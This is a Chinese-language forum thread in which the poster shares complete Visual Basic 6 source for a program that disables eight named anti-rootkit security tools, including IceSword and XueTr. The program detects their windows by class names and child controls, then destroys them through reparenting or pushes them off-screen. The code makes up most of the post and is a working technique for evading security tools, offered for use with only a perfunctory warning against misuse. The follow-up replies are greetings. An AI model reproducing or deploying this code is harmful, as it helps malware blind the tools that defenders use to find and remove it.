找回密码
 加入我们

QQ登录

只需一步,快速开始

搜索
查看: 8366|回复: 5

[半原创]窗口攻击废除ARK功能 - TaAttackWindow(AARK)

 火.. [复制链接]

38

主题

199

回帖

2

精华

钻石会员

积分
3408
发表于 2010-3-6 15:18:19 | 显示全部楼层 |阅读模式
本帖最后由 HoviDelphic 于 2010-5-2 11:04 编辑

在学校上不了网真是不爽啊,今天回家终于能上网了!
很多ARK都有很强的进程自我保护,很可惜,让ARK无法使用根本无需结束进程,直接搞窗口就行了。
我无聊时写了个无聊的程序,能使8个ARK无法工作。
提供完整代码,希望大家不要拿去做坏事。

Module1.bas

  1. Option Explicit

  2. Public Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
  3. Public Declare Function SetParent Lib "user32.dll" (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long
  4. Public Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
  5. Public Declare Function GetForegroundWindow Lib "user32.dll" () As Long
  6. Public Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  7. Public Declare Function GetClassName Lib "user32.dll" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
  8. Public Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
  9. Public Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
  10. Public Declare Function MoveWindow Lib "user32.dll" (ByVal hwnd As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal bRepaint As Long) As Long
  11. Public Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

  12. Dim GetPid As Long

  13. Private Function EnumWindowsProc(ByVal hwnd As Long, ByVal lParam As Long) As Long
  14.     Dim hWnd1, hWnd2 As Long
  15.     hWnd1 = FindWindowEx(hwnd, 0, "AfxMDIFrame42s", vbNullString) '冰刃的两个特征
  16.     hWnd2 = FindWindowEx(hwnd, 0, "AfxControlBar42s", vbNullString)
  17.     If hWnd1 <> 0 And hWnd2 <> 0 Then
  18.         GetWindowThreadProcessId hwnd, GetPid
  19.     End If
  20.     EnumWindowsProc = True
  21. End Function

  22. Public Function FindIceSwordPid() As Long
  23.     EnumWindows AddressOf EnumWindowsProc, 0
  24.     FindIceSwordPid = GetPid
  25. End Function
复制代码


Form1.frm

  1. Option Explicit

  2. Private Sub KillWnd(ByVal WindowHandle As Long)
  3.     Load Form2
  4.     SetParent WindowHandle, Form2.hwnd
  5.     Unload Form2
  6. End Sub

  7. Private Sub Command1_Click()
  8.     Timer1.Enabled = True
  9.     Timer2.Enabled = True
  10.     Timer3.Enabled = True
  11.     Timer4.Enabled = True
  12.     Timer5.Enabled = True
  13.     Timer6.Enabled = True
  14.     Timer7.Enabled = True
  15.     Timer8.Enabled = True
  16. End Sub

  17. 'Anti IceLight
  18. Private Sub Timer1_Timer()
  19.     Dim bkHwnd As Long, slen As Long, r As Long, RetVal As Long, hd0 As Long, hd8 As Long
  20.     Dim tstr As String, lpClassName As String
  21.     bkHwnd = GetForegroundWindow()
  22.     If bkHwnd <> 0 Then
  23.         slen = GetWindowTextLength(bkHwnd) '获取窗口标题文本长度
  24.         tstr = String$(slen, 0)
  25.         r = GetWindowText(bkHwnd, tstr, slen + 1) '获取窗口标题
  26.         lpClassName = Space(256)
  27.         RetVal = GetClassName(bkHwnd, lpClassName, 256)
  28.         lpClassName = Left$(lpClassName, RetVal)
  29.         If tstr = "" And lpClassName = "ThunderRT6FormDC" Then
  30.             hd8 = FindWindowEx(bkHwnd, 0, "ThunderRT6UserControlDC", vbNullString) ': MsgBox Hex(hd8)
  31.             hd0 = FindWindowEx(bkHwnd, 0, "ThunderRT6PictureBoxDC", vbNullString) ': MsgBox Hex(hd0)
  32.             If hd8 <> 0 And hd0 <> 0 Then
  33.                 KillWnd bkHwnd
  34.                 'Timer1.Enabled = False
  35.             End If
  36.         End If
  37.     End If
  38. End Sub

  39. 'Anti PsNull
  40. Private Sub Timer2_Timer()
  41.     Dim bkHwnd As Long, slen As Long, r As Long, RetVal As Long, itsPID As Long, itsTID As Long, hd1 As Long, hd3 As Long
  42.     Dim tstr As String, lpClassName As String
  43.     bkHwnd = GetForegroundWindow() ': MsgBox Hex(bkHwnd)
  44.     If bkHwnd <> 0 Then
  45.         slen = GetWindowTextLength(bkHwnd) '获取窗口标题文本长度
  46.         tstr = String$(slen, 0)
  47.         r = GetWindowText(bkHwnd, tstr, slen + 1) '获取窗口标题
  48.         lpClassName = Space(256)
  49.         RetVal = GetClassName(bkHwnd, lpClassName, 256)
  50.         lpClassName = Left$(lpClassName, RetVal) ': MsgBox lpClassName
  51.         itsTID = GetWindowThreadProcessId(bkHwnd, itsPID)
  52.         If tstr <> "" And lpClassName = "ThunderRT6Form" And itsPID = 0 And itsTID = 0 Then
  53.             hd1 = FindWindowEx(bkHwnd, 0, "SysListView32", vbNullString) ': MsgBox Hex(hd1)
  54.             hd3 = FindWindowEx(bkHwnd, 0, "SysTabControl32", vbNullString) ': MsgBox Hex(hd3)
  55.             If hd1 <> 0 And hd3 <> 0 Then
  56.                 KillWnd bkHwnd
  57.                 'Timer2.Enabled = False
  58.             End If
  59.         End If
  60.     End If
  61. End Sub

  62. 'Anti Rootkit Unhooker
  63. Private Sub Timer3_Timer()
  64.     Dim bkHwnd As Long, slen As Long, r As Long, RetVal As Long, itsPID As Long, itsTID As Long, hd1 As Long
  65.     Dim tstr As String, lpClassName As String
  66.     bkHwnd = GetForegroundWindow() ': MsgBox Hex(bkHwnd)
  67.     If bkHwnd <> 0 Then
  68.         slen = GetWindowTextLength(bkHwnd) '获取窗口标题文本长度
  69.         tstr = String$(slen, 0)
  70.         r = GetWindowText(bkHwnd, tstr, slen + 1) '获取窗口标题
  71.         lpClassName = Space(256)
  72.         RetVal = GetClassName(bkHwnd, lpClassName, 256)
  73.         lpClassName = Left$(lpClassName, RetVal) ': MsgBox lpClassName
  74.         itsTID = GetWindowThreadProcessId(bkHwnd, itsPID) ': MsgBox itsPID, , itsTID
  75.         If tstr = "" And lpClassName <> "" And itsPID <> 0 And itsTID <> 0 Then
  76.             hd1 = OpenProcess(1, 0, itsPID)
  77.             If hd1 <= 0 Then
  78.                 KillWnd bkHwnd
  79.                 'Timer3.Enabled = False
  80.             End If
  81.         End If
  82.     End If
  83. End Sub

  84. 'Anti IceSword
  85. Private Sub Timer4_Timer()
  86.     Dim IsPID As Long, bkHwnd As Long, bkPID As Long
  87.     IsPID = FindIceSwordPid
  88.     bkHwnd = GetForegroundWindow() ': MsgBox Hex(bkHwnd)
  89.     GetWindowThreadProcessId bkHwnd, bkPID
  90.     If bkPID = IsPID Then
  91.         KillWnd bkHwnd
  92.         'Timer4.Enabled = False
  93.     End If
  94. End Sub

  95. 'Anti SnipeSword
  96. Private Sub Timer5_Timer()
  97.     Dim bkHwnd As Long, slen As Long, r As Long, RetVal As Long, itsPID As Long, itsTID As Long, hd1 As Long
  98.     Dim tstr As String, lpClassName As String
  99.     bkHwnd = GetForegroundWindow() ': MsgBox Hex(bkHwnd)
  100.     If bkHwnd <> 0 Then
  101.         slen = GetWindowTextLength(bkHwnd) '获取窗口标题文本长度
  102.         tstr = String$(slen, 0)
  103.         r = GetWindowText(bkHwnd, tstr, slen + 1) '获取窗口标题
  104.         lpClassName = Space(256)
  105.         RetVal = GetClassName(bkHwnd, lpClassName, 256)
  106.         lpClassName = Left$(lpClassName, RetVal) ': MsgBox lpClassName
  107.         If InStr(1, tstr, "狙剑") <> 0 And lpClassName = "ClientWindow" Then
  108.             itsTID = GetWindowThreadProcessId(bkHwnd, itsPID) ': MsgBox itsPID, , itsTID
  109.             hd1 = OpenProcess(1, 0, itsPID)
  110.             If hd1 < 0 Then
  111.                 KillWnd bkHwnd
  112.                 'Timer5.Enabled = False
  113.             End If
  114.         End If
  115.     End If
  116. End Sub

  117. 'Anti WSysCheck
  118. Private Sub Timer6_Timer()
  119.     Dim bkHwnd As Long, slen As Long, r As Long, RetVal As Long, hd0 As Long, hd8 As Long
  120.     Dim tstr As String, lpClassName As String
  121.     bkHwnd = GetForegroundWindow()
  122.     If bkHwnd <> 0 Then
  123.         slen = GetWindowTextLength(bkHwnd) '获取窗口标题文本长度
  124.         tstr = String$(slen, 0)
  125.         r = GetWindowText(bkHwnd, tstr, slen + 1) '获取窗口标题
  126.         lpClassName = Space(256)
  127.         RetVal = GetClassName(bkHwnd, lpClassName, 256)
  128.         lpClassName = Left$(lpClassName, RetVal)
  129.         If tstr <> "" And lpClassName <> "" Then
  130.             hd8 = FindWindowEx(bkHwnd, 0, "TPageControl", vbNullString) ': MsgBox Hex(hd8)
  131.             hd0 = FindWindowEx(bkHwnd, 0, "TStatusBar", vbNullString) ': MsgBox Hex(hd0)
  132.             If hd8 <> 0 And hd0 <> 0 Then
  133.                 KillWnd bkHwnd
  134.                 'Timer6.Enabled = False
  135.             End If
  136.         End If
  137.     End If
  138. End Sub

  139. 'Anti XueTr
  140. Private Sub Timer7_Timer()
  141.     Dim bkHwnd As Long, slen As Long, r As Long, RetVal As Long, itsPID As Long, itsTID As Long
  142.     Dim tstr As String, lpClassName As String
  143.     bkHwnd = GetForegroundWindow()
  144.     If bkHwnd <> 0 Then
  145.         slen = GetWindowTextLength(bkHwnd) '获取窗口标题文本长度
  146.         tstr = String$(slen, 0)
  147.         r = GetWindowText(bkHwnd, tstr, slen + 1) '获取窗口标题
  148.         lpClassName = Space(256)
  149.         RetVal = GetClassName(bkHwnd, lpClassName, 256)
  150.         lpClassName = Left$(lpClassName, RetVal)
  151.         If tstr <> "" And lpClassName = "#32770" Then
  152.             itsTID = GetWindowThreadProcessId(bkHwnd, itsPID) ': MsgBox itsPID, , itsTID
  153.             If itsPID = 0 And itsTID = 0 Then
  154.                 MoveWindow bkHwnd, -10000, -10000, 1, 1, 1
  155.                 'Timer6.Enabled = False
  156.             End If
  157.         End If
  158.     End If
  159. End Sub

  160. 'Anti TY(天琊)
  161. Private Sub Timer8_Timer()
  162.     Dim bkHwnd As Long, i As Long, itsPID As Long
  163.     bkHwnd = GetForegroundWindow()
  164.     If bkHwnd = 0 Then 'TY存在,否则无论何时此值都不会为零
  165.         For i = 10000 To &H999999
  166.             Call GetWindowThreadProcessId(i, itsPID)
  167.             If itsPID = 0 Then
  168.                 MoveWindow i, -10000, -10000, 1, 1, 0
  169.             End If
  170.         Next
  171.         'Timer8.Enabled = False
  172.     End If
  173. End Sub
复制代码


Form2.frm

  1. 'No code
复制代码


相信大家能写出比这个更好的代码。
如果附件无法下载,请点击这里

1

主题

12

回帖

0

精华

初来乍到

积分
22
发表于 2010-3-6 19:12:54 | 显示全部楼层
欢迎TA回来!
呵呵。。。

9

主题

210

回帖

0

精华

初来乍到

积分
904
发表于 2010-3-6 19:14:59 | 显示全部楼层
welcome!

857

主题

2632

回帖

2

精华

管理员

此生无悔入华夏,  长居日耳曼尼亚。  

积分
36130
发表于 2010-3-6 21:11:15 | 显示全部楼层
呵呵,最近比较忙,没时间上网,HD那个号还是在管理时才使用吧。

38

主题

199

回帖

2

精华

钻石会员

积分
3408
 楼主| 发表于 2010-3-12 23:04:44 | 显示全部楼层
围观楼上SYF大牛。
如果附件无法下载,请点击这里

0

主题

34

回帖

0

精华

铜牌会员

积分
44
发表于 2010-8-3 21:05:07 | 显示全部楼层
围观,谁叫你们都写牛X!~···
您需要登录后才可以回帖 登录 | 加入我们

本版积分规则

快速回复 返回顶部 返回列表